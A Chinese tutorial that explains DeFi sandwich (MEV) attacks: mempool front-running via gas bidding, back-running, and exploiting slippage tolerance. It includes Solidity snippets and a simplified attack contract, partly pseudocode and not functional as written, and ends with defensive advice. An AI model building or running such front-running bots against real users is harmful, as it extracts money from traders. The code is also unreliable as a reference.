三明治攻击实战拆解
说实话,三明治攻击是DeFi世界里最经典的MEV攻击手法之一。我入行那会儿,第一次在链上看到这种攻击模式,第一反应是「这也太巧妙了吧」。后来自己动手拆解了几十个攻击案例,才真正理解其中的门道。
今天咱们就把三明治攻击的四个核心环节掰开揉碎来讲。你想想看,一个攻击者要完成三明治攻击,需要做哪些事?说白了就三步:先买、等你买、再卖。但每一步都有讲究。
前置交易(Front-run)技术
前置交易,就是抢在受害者交易之前买入。这里有个关键点——Gas价格博弈。
我记得有一次在分析一个Uniswap V2上的攻击案例时,发现攻击者把Gas价格设得比受害者高出了整整3倍。为什么?因为矿工优先打包Gas高的交易。攻击者需要确保自己的「买入交易」排在受害者前面。
核心逻辑:
- 监控mempool中的待处理交易
- 识别出大额交易(滑点容忍度高的目标)
- 构造反向交易,设置更高的Gas价格
- 抢在目标交易前执行
实际代码中,前置交易通常这样实现:
// 伪代码示例:前置交易逻辑
function frontRun(address targetToken, uint256 amountIn) external {
// 1. 监听mempool
bytes32 txHash = mempool.getPendingTx(targetUser);
// 2. 计算最优Gas价格
uint256 gasPrice = txHash.gasPrice * 150 / 100; // 提高50%
// 3. 构造买入交易
swapExactTokensForTokens(
amountIn,
0, // 接受任何滑点
path,
address(this),
block.timestamp + 1
);
}
我的经验:实际项目中,单纯提高Gas价格并不总是有效。我遇到过几次因为网络拥堵,即使Gas设得很高,交易还是被卡在队列里。后来我改用Flashbots的私有交易池,成功率才稳定下来。
后置交易(Back-run)技术
后置交易,就是在受害者交易完成后,立即卖出。这个时机把握很关键——太早卖,价格还没拉到位;太晚卖,别人已经抢跑了。
我曾经帮一个项目方做安全审计时,发现他们的AMM池子存在一个漏洞:攻击者可以通过后置交易,在受害者交易完成后的同一个区块内完成卖出。这意味着受害者完全来不及反应。
| 参数 | 前置交易 | 后置交易 |
|---|---|---|
| Gas策略 | 高于受害者 | 略低于受害者 |
| 执行时机 | 受害者交易前 | 受害者交易后 |
| 滑点设置 | 高容忍度 | 低容忍度 |
| 风险 | 可能被反抢 | 价格回撤风险 |
后置交易的核心代码通常长这样:
// 后置交易:在受害者交易后立即卖出
function backRun(address tokenIn, uint256 amountOutMin) external {
// 等待受害者交易完成
require(victimTxCompleted, "waiting for victim");
// 立即卖出
uint256 balance = IERC20(tokenIn).balanceOf(address(this));
swapExactTokensForTokens(
balance,
amountOutMin,
reversePath,
address(this),
block.timestamp
);
}
滑点容忍度利用
这是三明治攻击中最容易被忽视,但也是最致命的一环。说白了,滑点容忍度就是受害者给攻击者开的「绿灯」。
你想想看,为什么有些交易会被三明治攻击?因为用户设置了过高的滑点容忍度。比如一个用户想用100 USDC买ETH,设置了5%的滑点。这意味着即使价格被拉到105 USDC,交易依然会执行。攻击者就利用这5%的空间来获利。
避坑指南:我曾经见过一个项目,用户默认滑点设置是3%。结果攻击者专门盯着这个池子,每次有大额交易就做三明治。后来我建议他们把默认滑点降到0.5%,攻击事件直接减少了80%。
滑点容忍度的利用策略:
- 高滑点(>3%):攻击者可以放心做三明治,利润空间大
- 中滑点(1%-3%):需要精确计算,利润空间有限
- 低滑点(<1%):基本无法做三明治,风险太高
攻击合约示例分析
下面我给出一个完整的三明治攻击合约示例。这个合约我在实际审计中遇到过类似的,稍微简化了一下逻辑:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SandwichAttack {
address public owner;
IUniswapV2Router public router;
constructor(address _router) {
owner = msg.sender;
router = IUniswapV2Router(_router);
}
// 三明治攻击主函数
function executeSandwich(
address tokenIn,
address tokenOut,
uint256 amountIn,
address victim
) external onlyOwner {
// 第一步:前置交易 - 买入
uint256 amountOut = router.swapExactTokensForTokens(
amountIn,
0, // 接受任何滑点
getPath(tokenIn, tokenOut),
address(this),
block.timestamp
);
// 第二步:等待受害者交易(通过mempool监控)
// 实际项目中这里需要监听链上事件
// 第三步:后置交易 - 卖出
uint256 balance = IERC20(tokenOut).balanceOf(address(this));
router.swapExactTokensForTokens(
balance,
0,
getPath(tokenOut, tokenIn),
address(this),
block.timestamp
);
// 计算利润
uint256 profit = IERC20(tokenIn).balanceOf(address(this)) - amountIn;
// 将利润转给攻击者
IERC20(tokenIn).transfer(owner, profit);
}
function getPath(address token0, address token1)
internal pure returns (address[] memory) {
address[] memory path = new address[](2);
path[0] = token0;
path[1] = token1;
return path;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
}
关键点分析:
- 合约需要预先持有tokenIn作为启动资金
- 前置交易和后置交易必须在同一个区块内完成
- 利润计算要扣除Gas费用
- 实际部署时需要考虑Flashbots等MEV基础设施
嗯,这里要注意一点。上面的合约只是一个教学示例。实际攻击中,攻击者会使用更复杂的策略,比如:
- 使用闪电贷获取启动资金
- 多路径套利(跨多个DEX)
- 动态调整Gas价格
- 使用私有交易池避免被反抢
我建议你在学习这些技术时,一定要在测试网上先跑一遍。我自己当年就是在Ropsten上反复测试,才真正理解了三明治攻击的每一个细节。说实话,纸上谈兵和实际跑一次,完全是两码事。
最后说一句,三明治攻击虽然看起来复杂,但防御手段其实也很明确:降低滑点容忍度、使用限价单、选择有MEV保护的DEX。我在实际项目中,最推荐的做法就是让用户设置0.3%以内的滑点,配合TWAP订单,基本能防住99%的三明治攻击。
个人建议:如果你是做DEX开发的,一定要在合约层面加入滑点保护机制。我见过太多项目因为忽略了这一点,上线第一天就被MEV机器人盯上了。防患于未然,比事后补救要省心得多。